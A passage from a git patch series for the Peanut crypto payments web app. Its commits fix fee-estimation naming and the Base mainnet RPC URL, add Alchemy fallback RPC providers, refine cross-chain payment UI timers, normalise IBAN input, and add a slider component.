setEstimatedGasCost(xChainRoute.feeCostsUsd) + setEstimatedGasCostUsd(xChainRoute.feeCostsUsd) setEstimatedFromValue(xChainRoute.fromAmount) setSlippagePercentage(slippagePercentage) } else { @@ -256,7 +256,7 @@ export const usePaymentInitiator = () => { setIsFeeEstimationError(true) } } - setEstimatedGasCost(gasCost) + setEstimatedGasCostUsd(gasCost) setIsCalculatingFees(false) setUnsignedTx(tx.unsignedTx) setEstimatedFromValue(chargeDetails.tokenAmount) @@ -727,7 +727,7 @@ export const usePaymentInitiator = () => { slippagePercentage, estimatedFromValue, xChainUnsignedTxs, - estimatedGasCost, + estimatedGasCostUsd, unsignedTx, isCalculatingFees, isFeeEstimationError, From 43ce0089c3a4bd79b573259e1c59f8bdd82ce2dd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Wed, 9 Jul 2025 16:01:12 -0300 Subject: [PATCH 36/55] fix: correct approval owner and base rpc (#965) Two things here: 1. We were using the peanut address for approval checking on deposits, this didn't affect because if the approval call failed we just continued with the deposit 2: The base rpc url was the sepolia one, not the mainnet. Big oversight there --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 9 ++++++--- .../AddWithdraw/AddWithdrawRouterView.tsx | 8 +++++++- .../Payment/Views/Confirm.payment.view.tsx | 6 +++++- .../TransactionDetailsDrawer.tsx | 16 ++++++++-------- src/constants/general.consts.ts | 2 +- src/hooks/usePaymentInitiator.ts | 14 +++----------- 6 files changed, 30 insertions(+), 25 deletions(-) diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index e13dbb9a5..a29cbeb63 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -26,12 +26,13 @@ import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' import { useRouter } from 'next/navigation' import { useCallback, useEffect, useMemo } from 'react' import { captureMessage } from '@sentry/nextjs' +import type { Address } from 'viem' export default function WithdrawCryptoPage() { const router = useRouter() const dispatch = useAppDispatch() const { chargeDetails: activeChargeDetailsFromStore } = usePaymentStore() - const { isConnected: isPeanutWallet } = useWallet() + const { isConnected: isPeanutWallet, address } = useWallet() const { amountToWithdraw, setAmountToWithdraw, @@ -97,13 +98,14 @@ export default function WithdrawCryptoPage() { prepareTransactionDetails({ chargeDetails: activeChargeDetailsFromStore, from: { + address: address as Address, tokenAddress: PEANUT_WALLET_TOKEN, chainId: PEANUT_WALLET_CHAIN.id.toString(), }, usdAmount: amountToWithdraw, }) } - }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails, amountToWithdraw]) + }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails, amountToWithdraw, address]) const handleSetupReview = useCallback( async (data: Omit) => { @@ -237,12 +239,13 @@ export default function WithdrawCryptoPage() { await prepareTransactionDetails({ chargeDetails: activeChargeDetailsFromStore, from: { + address: address as Address, tokenAddress: PEANUT_WALLET_TOKEN, chainId: PEANUT_WALLET_CHAIN.id.toString(), }, usdAmount: amountToWithdraw, }) - }, [activeChargeDetailsFromStore, prepareTransactionDetails, amountToWithdraw]) + }, [activeChargeDetailsFromStore, prepareTransactionDetails, amountToWithdraw, address]) const handleBackFromConfirm = useCallback(() => { setCurrentView('INITIAL') diff --git a/src/components/AddWithdraw/AddWithdrawRouterView.tsx b/src/components/AddWithdraw/AddWithdrawRouterView.tsx index 50fc5b49c..e2b8ed69a 100644 --- a/src/components/AddWithdraw/AddWithdrawRouterView.tsx +++ b/src/components/AddWithdraw/AddWithdrawRouterView.tsx @@ -9,7 +9,13 @@ import { import EmptyState from '@/components/Global/EmptyStates/EmptyState' import NavHeader from '@/components/Global/NavHeader' import { SearchInput } from '@/components/SearchUsers/SearchInput' -import { RecentMethod, getUserPreferences, updateUserPreferences, shortenAddressLong, formatIban } from '@/utils/general.utils' +import { + RecentMethod, + getUserPreferences, + updateUserPreferences, + shortenAddressLong, + formatIban, +} from '@/utils/general.utils' import { useRouter } from 'next/navigation' import { FC, useEffect, useMemo, useState } from 'react' import { useUserStore } from '@/redux/hooks' diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index 563f5d030..dd5b4507e 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -83,7 +83,7 @@ export default function ConfirmPaymentView({ xChainRoute, } = usePaymentInitiator() const { selectedTokenData, selectedChainID } = useContext(tokenSelectorContext) - const { isConnected: isPeanutWallet, fetchBalance } = useWallet() + const { isConnected: isPeanutWallet, fetchBalance, address: peanutWalletAddress } = useWallet() const { isConnected: isWagmiConnected, address: wagmiAddress } = useAccount() const { rewardWalletBalance } = useWalletStore() const queryClient = useQueryClient() @@ -171,9 +171,11 @@ export default function ConfirmPaymentView({ isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd' ? chargeDetails.currencyAmount : undefined + const senderAddress = isUsingExternalWallet ? wagmiAddress : peanutWalletAddress await prepareTransactionDetails({ chargeDetails, from: { + address: senderAddress as Address, tokenAddress: fromTokenAddress as Address, chainId: fromChainId, }, @@ -187,6 +189,8 @@ export default function ConfirmPaymentView({ prepareTransactionDetails, isDirectUsdPayment, isUsingExternalWallet, + wagmiAddress, + peanutWalletAddress, ]) useEffect(() => { diff --git a/src/components/TransactionDetails/TransactionDetailsDrawer.tsx b/src/components/TransactionDetails/TransactionDetailsDrawer.tsx index 4f23b1da8..57935d6ef 100644 --- a/src/components/TransactionDetails/TransactionDetailsDrawer.tsx +++ b/src/components/TransactionDetails/TransactionDetailsDrawer.tsx @@ -440,16 +440,16 @@ export const TransactionDetailsReceipt = ({ value={
- { - formatIban(transaction.extraDataForDrawer.depositInstructions - .iban) - } + {formatIban( + transaction.extraDataForDrawer.depositInstructions + .iban + )}
diff --git a/src/constants/general.consts.ts b/src/constants/general.consts.ts index 5c81c44af..18a7595e9 100644 --- a/src/constants/general.consts.ts +++ b/src/constants/general.consts.ts @@ -15,7 +15,7 @@ export const infuraRpcUrls: Record = { [arbitrumSepolia.id]: `https://arbitrum-sepolia.infura.io/v3/${INFURA_API_KEY}`, [polygon.id]: `https://polygon-mainnet.infura.io/v3/${INFURA_API_KEY}`, [optimism.id]: `https://optimism-mainnet.infura.io/v3/${INFURA_API_KEY}`, - [base.id]: `https://base-sepolia.infura.io/v3/${INFURA_API_KEY}`, + [base.id]: `https://base-mainnet.infura.io/v3/${INFURA_API_KEY}`, // Infura is returning weird estimations for BSC @2025-05-14 //[bsc.id]: `https://bsc-mainnet.infura.io/v3/${INFURA_API_KEY}`, [bsc.id]: 'https://bsc-dataseed.bnbchain.org', diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index 51f9aba75..aede56046 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -165,16 +165,12 @@ export const usePaymentInitiator = () => { }: { chargeDetails: TRequestChargeResponse from: { + address: Address tokenAddress: Address chainId: string } usdAmount?: string }) => { - if (!peanutWalletAddress && !wagmiAddress) { - console.warn('Missing data for transaction preparation') - return - } - setError(null) setIsFeeEstimationError(false) setUnsignedTx(null) @@ -192,7 +188,6 @@ export const usePaymentInitiator = () => { if (_isXChain || _diffTokens) { setLoadingStep('Preparing Transaction') - const senderAddress = isPeanutWallet ? peanutWalletAddress : wagmiAddress setIsCalculatingFees(true) const amount = usdAmount ? { @@ -202,10 +197,7 @@ export const usePaymentInitiator = () => { toAmount: parseUnits(chargeDetails.tokenAmount, chargeDetails.tokenDecimals), } const xChainRoute = await getRoute({ - from: { - address: senderAddress as Address, - ...from, - }, + from, to: { address: chargeDetails.requestLink.recipientAddress as Address, tokenAddress: chargeDetails.tokenAddress as Address, @@ -273,7 +265,7 @@ export const usePaymentInitiator = () => { setIsPreparingTx(false) } }, - [peanutWalletAddress, wagmiAddress, setIsXChain, isPeanutWallet] + [setIsXChain, isPeanutWallet] ) // helper function: determine charge details (fetch or create) From f4c2b1cf057ca16dc72bfade428e3ae01ac0e21a Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Thu, 10 Jul 2025 18:58:34 +0530 Subject: [PATCH 37/55] feat: add alachemy as fallback rpc url (#948) * feat: add alachemy as fallback rpc url * fix: remove commented line * fix: address pr review comments --- .env.example | 1 + src/app/actions/clients.ts | 4 +-- src/config/justaname.config.tsx | 21 ++++++++---- src/constants/general.consts.ts | 27 +++++++++------ src/constants/zerodev.consts.ts | 6 ++-- src/utils/general.utils.ts | 8 ++++- src/utils/sdk.utils.ts | 59 +++++++++++++++++++++++++++++++++ 7 files changed, 104 insertions(+), 22 deletions(-) create mode 100644 src/utils/sdk.utils.ts diff --git a/.env.example b/.env.example index 34e98d7fe..254028876 100644 --- a/.env.example +++ b/.env.example @@ -15,6 +15,7 @@ export NEXT_PUBLIC_WC_PROJECT_ID="" export NEXT_PUBLIC_SENTRY_DSN="" export NEXT_PUBLIC_RECAPTCHA_SITE_KEY="" export NEXT_PUBLIC_INFURA_API_KEY="" +export NEXT_PUBLIC_ALCHEMY_API_KEY="" export NEXT_PUBLIC_JUSTANAME_ENS_DOMAIN="" export MOBULA_API_KEY="" diff --git a/src/app/actions/clients.ts b/src/app/actions/clients.ts index 96fc66a5a..95bd49877 100644 --- a/src/app/actions/clients.ts +++ b/src/app/actions/clients.ts @@ -3,7 +3,7 @@ import type { PublicClient, Chain } from 'viem' import { createPublicClient, http, extractChain } from 'viem' import * as chains from 'viem/chains' -import { PUBLIC_CLIENTS_BY_CHAIN, infuraRpcUrls } from '@/constants' +import { PUBLIC_CLIENTS_BY_CHAIN, rpcUrls } from '@/constants' const allChains = Object.values(chains) export type ChainId = (typeof allChains)[number]['id'] @@ -14,7 +14,7 @@ export const getPublicClient = async (chainId: ChainId): Promise = const chain: Chain = extractChain({ chains: allChains, id: chainId }) if (!chain) throw new Error(`No chain found for chainId ${chainId}`) return createPublicClient({ - transport: http(infuraRpcUrls[chainId]), + transport: http(rpcUrls[chainId][0]), chain, }) } diff --git a/src/config/justaname.config.tsx b/src/config/justaname.config.tsx index c1e6fdfd2..abbf46442 100644 --- a/src/config/justaname.config.tsx +++ b/src/config/justaname.config.tsx @@ -1,16 +1,25 @@ 'use client' import { JustaNameProvider } from '@justaname.id/react' +import { rpcUrls } from '@/constants/general.consts' +import { mainnet } from 'viem/chains' + export const JustaNameContext = ({ children }: { children: React.ReactNode }) => { + const mainnetRpcUrl = rpcUrls[mainnet.id]?.[0] + + const networks = mainnetRpcUrl + ? [ + { + chainId: mainnet.id, + providerUrl: mainnetRpcUrl, + }, + ] + : [] + return ( {children} diff --git a/src/constants/general.consts.ts b/src/constants/general.consts.ts index 18a7595e9..19b30db97 100644 --- a/src/constants/general.consts.ts +++ b/src/constants/general.consts.ts @@ -1,25 +1,32 @@ import * as interfaces from '@/interfaces' import { CHAIN_DETAILS, TOKEN_DETAILS } from '@squirrel-labs/peanut-sdk' -import { mainnet, arbitrum, arbitrumSepolia, polygon, optimism, base, bsc, scroll } from 'viem/chains' +import { mainnet, arbitrum, arbitrumSepolia, polygon, optimism, base, bsc, scroll, baseSepolia } from 'viem/chains' export const peanutWalletIsInPreview = true export const INFURA_API_KEY = process.env.NEXT_PUBLIC_INFURA_API_KEY +export const ALCHEMY_API_KEY = process.env.NEXT_PUBLIC_ALCHEMY_API_KEY export const SQUID_INTEGRATOR_ID = process.env.SQUID_INTEGRATOR_ID! export const SQUID_API_URL = process.env.SQUID_API_URL -export const infuraRpcUrls: Record = { - [mainnet.id]: `https://mainnet.infura.io/v3/${INFURA_API_KEY}`, - [arbitrum.id]: `https://arbitrum-mainnet.infura.io/v3/${INFURA_API_KEY}`, - [arbitrumSepolia.id]: `https://arbitrum-sepolia.infura.io/v3/${INFURA_API_KEY}`, - [polygon.id]: `https://polygon-mainnet.infura.io/v3/${INFURA_API_KEY}`, - [optimism.id]: `https://optimism-mainnet.infura.io/v3/${INFURA_API_KEY}`, - [base.id]: `https://base-mainnet.infura.io/v3/${INFURA_API_KEY}`, +const infuraUrl = (subdomain: string) => (INFURA_API_KEY ? `https://${subdomain}.infura.io/v3/${INFURA_API_KEY}` : null) +const alchemyUrl = (subdomain: string) => + ALCHEMY_API_KEY ? `https://${subdomain}.g.alchemy.com/v2/${ALCHEMY_API_KEY}` : null + +export const rpcUrls: Record = { + [mainnet.id]: [infuraUrl('mainnet'), alchemyUrl('eth-mainnet')].filter(Boolean) as string[], + [arbitrum.id]: [infuraUrl('arbitrum-mainnet'), alchemyUrl('arb-mainnet')].filter(Boolean) as string[], + [arbitrumSepolia.id]: [infuraUrl('arbitrum-sepolia'), alchemyUrl('arb-sepolia')].filter(Boolean) as string[], + [polygon.id]: [infuraUrl('polygon-mainnet'), alchemyUrl('polygon-mainnet')].filter(Boolean) as string[], + [optimism.id]: [infuraUrl('optimism-mainnet'), alchemyUrl('opt-mainnet')].filter(Boolean) as string[], + [base.id]: [infuraUrl('base-mainnet'), alchemyUrl('base-mainnet')].filter(Boolean) as string[], // Infura is returning weird estimations for BSC @2025-05-14 //[bsc.id]: `https://bsc-mainnet.infura.io/v3/${INFURA_API_KEY}`, - [bsc.id]: 'https://bsc-dataseed.bnbchain.org', - [scroll.id]: `https://scroll-mainnet.infura.io/v3/${INFURA_API_KEY}`, + [bsc.id]: ['https://bsc-dataseed.bnbchain.org', infuraUrl('bsc-mainnet'), alchemyUrl('bsc-mainnet')].filter( + Boolean + ) as string[], + [scroll.id]: [infuraUrl('scroll-mainnet')].filter(Boolean) as string[], } export const ipfsProviderArray = [ diff --git a/src/constants/zerodev.consts.ts b/src/constants/zerodev.consts.ts index fa8106b91..6653badab 100644 --- a/src/constants/zerodev.consts.ts +++ b/src/constants/zerodev.consts.ts @@ -1,4 +1,4 @@ -import { infuraRpcUrls } from '@/constants/general.consts' +import { rpcUrls } from '@/constants/general.consts' import { getEntryPoint, KERNEL_V3_1 } from '@zerodev/sdk/constants' import type { Chain, PublicClient } from 'viem' import { createPublicClient, http } from 'viem' @@ -54,7 +54,7 @@ export const PUBLIC_CLIENTS_BY_CHAIN: Record< > = { [arbitrum.id]: { client: createPublicClient({ - transport: http(infuraRpcUrls[arbitrum.id]), + transport: http(rpcUrls[arbitrum.id][0]), chain: arbitrum, pollingInterval: 500, }), @@ -64,7 +64,7 @@ export const PUBLIC_CLIENTS_BY_CHAIN: Record< }, [polygon.id]: { client: createPublicClient({ - transport: http(infuraRpcUrls[polygon.id]), + transport: http(rpcUrls[polygon.id][0]), chain: polygon, pollingInterval: 2500, }), diff --git a/src/utils/general.utils.ts b/src/utils/general.utils.ts index 27d377d66..9b7586945 100644 --- a/src/utils/general.utils.ts +++ b/src/utils/general.utils.ts @@ -16,6 +16,7 @@ import { SiweMessage } from 'siwe' import type { Address, TransactionReceipt } from 'viem' import { getAddress, isAddress } from 'viem' import * as wagmiChains from 'wagmi/chains' +import { getSDKProvider } from './sdk.utils' import { NATIVE_TOKEN_ADDRESS, SQUID_ETH_ADDRESS } from './token.utils' export function urlBase64ToUint8Array(base64String: string) { @@ -956,9 +957,14 @@ export async function fetchTokenSymbol(tokenAddress: string, chainId: string): P let tokenSymbol = getTokenSymbol(tokenAddress, chainId) if (!tokenSymbol) { try { + const provider = await getSDKProvider({ chainId }) + if (!provider) { + console.error(`Failed to get provider for chain ID ${chainId}`) + return undefined + } const contract = await peanut.getTokenContractDetails({ address: tokenAddress, - provider: await peanut.getDefaultProvider(chainId), + provider: provider, }) tokenSymbol = contract?.symbol?.toUpperCase() } catch (error) { diff --git a/src/utils/sdk.utils.ts b/src/utils/sdk.utils.ts new file mode 100644 index 000000000..76d6c067b --- /dev/null +++ b/src/utils/sdk.utils.ts @@ -0,0 +1,59 @@ +import peanut from '@squirrel-labs/peanut-sdk' +import { rpcUrls } from '@/constants/general.consts' +import { providers } from 'ethers' +import * as Sentry from '@sentry/nextjs' + +const providerCache = new Map() + +/** + * Gets a provider for a given chain. It uses a cached provider if available. + * If not, it creates a new FallbackProvider with multiple RPC URLs for resiliency, + * or falls back to the default provider. + * @param chainId - The ID of the chain to get a provider for. + * @returns A provider for the given chain, or undefined if no provider could be created. + */ +export async function getSDKProvider({ chainId }: { chainId: string }): Promise { + if (providerCache.has(chainId)) { + return providerCache.get(chainId) + } + + const urls = rpcUrls[Number(chainId)] + + // f we have specific RPC URLs, use them with a FallbackProvider for resiliency. + if (urls && urls.length > 0) { + try { + const providerConfigs: providers.FallbackProviderConfig[] = urls.map((url, index) => ({ + provider: new providers.JsonRpcProvider(url), + priority: index, + stallTimeout: 2000, // a request that has not returned in 2s is considered stalled + })) + + const fallbackProvider = new providers.FallbackProvider(providerConfigs, 1) // Quorum of 1, we only need one to work. + + await fallbackProvider.getNetwork() // this checks if at least one provider is responsive. + + providerCache.set(chainId, fallbackProvider) + return fallbackProvider + } catch (error) { + Sentry.captureException(error) + console.warn( + `FallbackProvider creation failed for chain ID ${chainId}, falling back to default. Error:`, + error + ) + } + } + + // fallback to the default provider from the SDK if no URLs are specified or if FallbackProvider fails. + try { + const provider = await peanut.getDefaultProvider(chainId) + providerCache.set(chainId, provider) + return provider + } catch (error) { + Sentry.captureException(error) + console.error(`Failed to get default provider for chain ID ${chainId}`, error) + } + + Sentry.captureException(new Error(`Failed to create any provider for chain ID ${chainId}`)) + console.error(`Failed to create a provider for chain ID ${chainId}`) + return undefined +} From d16afadf50eb6539efa5f355eead34909903f97c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Thu, 10 Jul 2025 10:30:05 -0300 Subject: [PATCH 38/55] [TASK-12866] fix: small fixes around crosschain ui (#966) * fix: small fixes around crosschain ui * fix: avoid negative expiry time --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 1 + .../Global/RouteExpiryTimer/index.tsx | 47 ++++++++++--------- src/components/Payment/PaymentForm/index.tsx | 1 + .../Payment/Views/Confirm.payment.view.tsx | 26 ++++++---- .../Withdraw/views/Confirm.withdraw.view.tsx | 15 ++---- src/hooks/usePaymentInitiator.ts | 24 +++++++++- 6 files changed, 69 insertions(+), 45 deletions(-) diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index a29cbeb63..cfb6b8d04 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -117,6 +117,7 @@ export default function WithdrawCryptoPage() { clearErrors() dispatch(paymentActions.setChargeDetails(null)) + setIsPreparingReview(true) try { const completeWithdrawData = { ...data, amount: amountToWithdraw } diff --git a/src/components/Global/RouteExpiryTimer/index.tsx b/src/components/Global/RouteExpiryTimer/index.tsx index b0ea4f5b0..539d2d23a 100644 --- a/src/components/Global/RouteExpiryTimer/index.tsx +++ b/src/components/Global/RouteExpiryTimer/index.tsx @@ -1,13 +1,13 @@ -import React, { useState, useEffect, useCallback } from 'react' +import React, { useState, useEffect, useCallback, useMemo } from 'react' import { twMerge } from 'tailwind-merge' interface RouteExpiryTimerProps { - expiry?: string // ISO string from route + expiry?: string // Unix timestamp in seconds isLoading?: boolean onNearExpiry?: () => void // Called when timer gets close to expiry (e.g., 30 seconds) onExpired?: () => void // Called when timer expires className?: string - nearExpiryThresholdMs?: number // Default 30 seconds + nearExpiryThresholdPercentage?: number disableRefetch?: boolean // Disable refetching when user is signing transaction error?: string | null // Error message to display instead of timer } @@ -24,7 +24,7 @@ const RouteExpiryTimer: React.FC = ({ onNearExpiry, onExpired, className, - nearExpiryThresholdMs = 5000, // 5 seconds + nearExpiryThresholdPercentage = 0.1, // 10% of total duration disableRefetch = false, error = null, }) => { @@ -32,6 +32,14 @@ const RouteExpiryTimer: React.FC = ({ const [hasTriggeredNearExpiry, setHasTriggeredNearExpiry] = useState(false) const [hasExpired, setHasExpired] = useState(false) + const totalDurationMs = useMemo(() => { + if (!expiry) return 0 + const expiryMs = parseInt(expiry, 10) * 1000 + const diff = expiryMs - Date.now() + return Math.max(0, diff) + }, [expiry]) + const nearExpiryThresholdMs = useMemo(() => totalDurationMs * nearExpiryThresholdPercentage, [totalDurationMs]) + const calculateTimeRemaining = useCallback((): TimeRemaining | null => { if (!expiry) return null @@ -114,36 +122,29 @@ const RouteExpiryTimer: React.FC = ({ return `${paddedMinutes}:${paddedSeconds}` } - const getProgressPercentage = (): number => { - if (!timeRemaining || !expiry) return 0 - - // Assuming routes typically have 1-minute expiry (300 seconds) - // This could be made configurable if needed - const totalDurationMs = 1 * 60 * 1000 // 1 minutes + const progressPercentage = useMemo((): number => { + if (!timeRemaining || !totalDurationMs) return 0 const elapsedMs = totalDurationMs - timeRemaining.totalMs return Math.max(0, Math.min(100, (elapsedMs / totalDurationMs) * 100)) - } + }, [timeRemaining, totalDurationMs]) - const getProgressColor = (): string => { + const progressColor = useMemo((): string => { if (!timeRemaining) return 'bg-grey-3' - const percentage = getProgressPercentage() - // Green for first 70% - if (percentage < 70) return 'bg-green-500' + if (progressPercentage < 70) return 'bg-green-500' // Yellow for 70-85% - if (percentage < 85) return 'bg-yellow-500' + if (progressPercentage < 85) return 'bg-yellow-500' // Red for final 15% return 'bg-red' - } + }, [progressPercentage, timeRemaining]) - const shouldPulse = (): boolean => { + const shouldPulse = useMemo((): boolean => { if (isLoading) return true if (!timeRemaining) return false // Pulse when in red zone (85%+ progress) OR near expiry threshold - const progressPercentage = getProgressPercentage() return (progressPercentage >= 85 || timeRemaining.totalMs <= nearExpiryThresholdMs) && timeRemaining.totalMs > 0 - } + }, [progressPercentage, timeRemaining, isLoading, nearExpiryThresholdMs]) const getText = (): string => { if (error) return error @@ -177,11 +178,11 @@ const RouteExpiryTimer: React.FC = ({
diff --git a/src/components/Payment/PaymentForm/index.tsx b/src/components/Payment/PaymentForm/index.tsx index 0f0bda214..ea70f8064 100644 --- a/src/components/Payment/PaymentForm/index.tsx +++ b/src/components/Payment/PaymentForm/index.tsx @@ -633,6 +633,7 @@ export const PaymentForm = ({ disabled={!isAddMoneyFlow && (!!requestDetails?.tokenAmount || !!chargeDetails?.tokenAmount)} walletBalance={isActivePeanutWallet ? peanutWalletBalance : undefined} currency={currency} + hideBalance={isAddMoneyFlow} /> {/* diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index dd5b4507e..df42c5e7e 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -21,7 +21,7 @@ import { useWallet } from '@/hooks/wallet/useWallet' import { useAppDispatch, usePaymentStore, useWalletStore } from '@/redux/hooks' import { paymentActions } from '@/redux/slices/payment-slice' import { chargesApi } from '@/services/charges' -import { ErrorHandler, formatAmount, printableAddress, areEvmAddressesEqual } from '@/utils' +import { ErrorHandler, formatAmount, areEvmAddressesEqual } from '@/utils' import { useQueryClient } from '@tanstack/react-query' import { useSearchParams } from 'next/navigation' import { useCallback, useContext, useEffect, useMemo } from 'react' @@ -31,6 +31,7 @@ import { formatUnits } from 'viem' import type { Address } from 'viem' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' import { captureMessage } from '@sentry/nextjs' +import AddressLink from '@/components/Global/AddressLink' type ConfirmPaymentViewProps = { isPintaReq?: boolean @@ -106,8 +107,9 @@ export default function ConfirmPaymentView({ return ( <> - $ {estimatedGasCostUsd.toFixed(2)}{' '} - Sponsored by Peanut! + $ {estimatedGasCostUsd.toFixed(2)} + {' – '} + Sponsored by Peanut! ) }, [estimatedGasCostUsd, isFeeEstimationError, isUsingExternalWallet]) @@ -465,17 +467,23 @@ export default function ConfirmPaymentView({ /> )} - {isAddMoneyFlow && } + {isAddMoneyFlow && ( + + } + /> + )} diff --git a/src/components/Withdraw/views/Confirm.withdraw.view.tsx b/src/components/Withdraw/views/Confirm.withdraw.view.tsx index 495f1bdbf..04a844141 100644 --- a/src/components/Withdraw/views/Confirm.withdraw.view.tsx +++ b/src/components/Withdraw/views/Confirm.withdraw.view.tsx @@ -67,8 +67,9 @@ export default function ConfirmWithdrawView({ if (networkFee < 0.01) return 'Sponsored by Peanut!' return ( <> - $ {networkFee.toFixed(2)}{' '} - Sponsored by Peanut! + $ {networkFee.toFixed(2)} + {' – '} + Sponsored by Peanut! ) }, [networkFee]) @@ -140,15 +141,7 @@ export default function ConfirmWithdrawView({ label="To" value={} /> - + diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index aede56046..02f9d44f3 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -33,6 +33,22 @@ import { getRoute, type PeanutCrossChainRoute } from '@/services/swap' import { estimateTransactionCostUsd } from '@/app/actions/tokens' import { captureException } from '@sentry/nextjs' +enum ELoadingStep { + IDLE = 'Idle', + PREPARING_TRANSACTION = 'Preparing Transaction', + SENDING_TRANSACTION = 'Sending Transaction', + CONFIRMING_TRANSACTION = 'Confirming Transaction', + UPDATING_PAYMENT_STATUS = 'Updating Payment Status', + CHARGE_CREATED = 'Charge Created', + ERROR = 'Error', + SUCCESS = 'Success', + FETCHING_CHARGE_DETAILS = 'Fetching Charge Details', + CREATING_CHARGE = 'Creating Charge', + SWITCHING_NETWORK = 'Switching Network', +} + +type LoadingStep = `${ELoadingStep}` + export interface InitiatePaymentPayload { recipient: ParsedURL['recipient'] tokenAmount: string @@ -84,7 +100,7 @@ export const usePaymentInitiator = () => { const [estimatedGasCostUsd, setEstimatedGasCostUsd] = useState(undefined) const [estimatedFromValue, setEstimatedFromValue] = useState('0') - const [loadingStep, setLoadingStep] = useState('Idle') + const [loadingStep, setLoadingStep] = useState('Idle') const [error, setError] = useState(null) const [createdChargeDetails, setCreatedChargeDetails] = useState(null) const [transactionHash, setTransactionHash] = useState(null) @@ -109,7 +125,11 @@ export const usePaymentInitiator = () => { }, [selectedTokenData, activeChargeDetails]) const isProcessing = useMemo( - () => loadingStep !== 'Idle' && loadingStep !== 'Success' && loadingStep !== 'Error', + () => + loadingStep !== 'Idle' && + loadingStep !== 'Success' && + loadingStep !== 'Error' && + loadingStep !== 'Charge Created', [loadingStep] ) From 8de081fed2dbaf09ff4a3f8d79b5a504180e0815 Mon Sep 17 00:00:00 2001 From: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> Date: Thu, 10 Jul 2025 11:08:00 -0300 Subject: [PATCH 39/55] removed white spaces before processing to BIC (#951) --- src/app/actions/ibanToBic.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/app/actions/ibanToBic.ts b/src/app/actions/ibanToBic.ts index bcfbde4d6..830182065 100644 --- a/src/app/actions/ibanToBic.ts +++ b/src/app/actions/ibanToBic.ts @@ -9,7 +9,7 @@ import { ibanToBic } from 'iban-to-bic' */ export async function getBicFromIban(iban: string): Promise { try { - return ibanToBic(iban) + return ibanToBic(iban.replace(/\s+/g, '').trim()) } catch (err) { console.error('IBAN→BIC conversion failed', err) throw new Error('Unable to derive BIC from IBAN') From e0686e0b4db2520e4860c790c6182aa3feb55dd7 Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Thu, 10 Jul 2025 19:49:38 +0530 Subject: [PATCH 40/55] feat: resuable slider component (#968) --- package.json | 1 + pnpm-lock.yaml | 111 ++++++++++++++++++++++++++++++++ src/components/Slider/index.tsx | 74 +++++++++++++++++++++ 3 files changed, 186 insertions(+) create mode 100644 src/components/Slider/index.tsx diff --git a/package.json b/package.json index 3af682a87..a2ea4c505 100644 --- a/package.json +++ b/package.json @@ -33,6 +33,7 @@ "@hookform/resolvers": "3.9.1", "@justaname.id/react": "0.3.180", "@justaname.id/sdk": "0.2.177", + "@radix-ui/react-slider": "^1.3.5", "@reduxjs/toolkit": "^2.5.0", "@reown/appkit": "1.6.9", "@reown/appkit-adapter-wagmi": "1.6.9", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index ef1c783c8..ebb8cb8ec 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -52,6 +52,9 @@ importers: '@justaname.id/sdk': specifier: 0.2.177 version: 0.2.177(ethers@5.7.2(bufferutil@4.0.9)(utf-8-validate@5.0.10))(siwe@2.3.2(ethers@5.7.2(bufferutil@4.0.9)(utf-8-validate@5.0.10)))(viem@2.22.11(bufferutil@4.0.9)(typescript@5.7.3)(utf-8-validate@5.0.10)(zod@3.24.1)) + '@radix-ui/react-slider': + specifier: ^1.3.5 + version: 1.3.5(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0) '@reduxjs/toolkit': specifier: ^2.5.0 version: 2.5.0(react-redux@9.2.0(@types/react@18.3.18)(react@19.1.0)(redux@5.0.1))(react@19.1.0) @@ -2406,9 +2409,25 @@ packages: engines: {node: '>=18'} hasBin: true + '@radix-ui/number@1.1.1': + resolution: {integrity: sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==} + '@radix-ui/primitive@1.1.2': resolution: {integrity: 